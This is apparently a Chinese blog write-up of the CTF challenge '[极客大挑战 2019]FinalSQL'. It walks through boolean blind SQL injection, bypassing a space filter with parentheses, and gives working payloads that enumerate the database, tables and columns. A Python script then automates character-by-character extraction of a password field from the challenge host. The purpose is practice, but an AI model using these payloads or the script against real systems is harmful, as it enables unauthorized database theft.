[极客大挑战 2019]FinalSQL ---不会编程的崽

别看是什么finalsql,其实也不难。

登录已经不能注入了。提示给的什么代码获取flag。点击5看到这个。让我们去访问6

直接把url里的id改为6不就行了??

已经提示是盲注了。先使用fuzz大法,看一下过滤了哪些。

这一堆东西被过滤了。但是没戳中要害。要注意的是空格也被过滤了。因为url会自动删除空格,所有检查不到。使用"()"---代替--->空格 

若返回为True,这回出现clever

?id=6=Ture

 若返回False则会出现No。这就是盲注的判断正误的标准

?id=6=False

判断数据库长度

?id=6=(length(database())=4)

长度为4。接下来,判断数据库的第一个字母

?id=6=(substr(database(),1,1)=%27g%27)

 第一个字母为'g',接下来只需要构造(substr(database(),2,1)=%27g%27来判断第二个字母即可。这里的数据库名为geek。

接下来判断表名。一定要加上group_concat()函数

?id=6=(ASCII(SUBSTR((select(group_concat(table_name))FROM(information_schema.TABLES)where(table_schema)=%27geek%27),1,1))=70)

判断列名

?id=6=(ASCII(SUBSTR((select(group_concat(column_name))from(information_schema.columns)where(table_name="F1naI1y")),1,1))=60)

 读取字段内容

?id=6=(ASCII(SUBSTR((select(group_concat(password))from(F1naI1y)),1,1))=102)

 当然内容这么多,肯定不能手工,上py脚本

import requests

flag=''
#url='http://73a45cbc-48af-4a46-99b7-3d6f5a2ece0d.node5.buuoj.cn:81/search.php?id=6=(ASCII(SUBSTR((select(group_concat(table_name))FROM(information_schema.TABLES)where(table_schema)=%27geek%27),1,1))=70)'
for i in range(160,500,1):
    for y in range(1,128,1):
        #url = 'http://6a287c2e-bc55-41b6-b33c-f0e86d1dcd3e.node5.buuoj.cn:81/search.php?id=6=(ASCII(SUBSTR((select(group_concat(table_name))FROM(information_schema.TABLES)where(table_schema)=%27geek%27),'+str(i)+',1))='+str(y)+')'
        #url='http://6a287c2e-bc55-41b6-b33c-f0e86d1dcd3e.node5.buuoj.cn:81/search.php?id=6=(ASCII(SUBSTR((select(group_concat(column_name))from(information_schema.columns)where(table_name="F1naI1y")),'+str(i)+',1))='+str(y)+')'
        url='http://6a287c2e-bc55-41b6-b33c-f0e86d1dcd3e.node5.buuoj.cn:81/search.php?id=6=(ASCII(SUBSTR((select(group_concat(password))from(F1naI1y)),'+str(i)+',1))='+str(y)+')'
        content=requests.get(url)
        if "But not this table" in content.text:
            flag=flag+chr(y)
            print(flag)
            break

从上到下依次循环执行3条url即可。当然没写线程与算法,脚本运行很慢

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值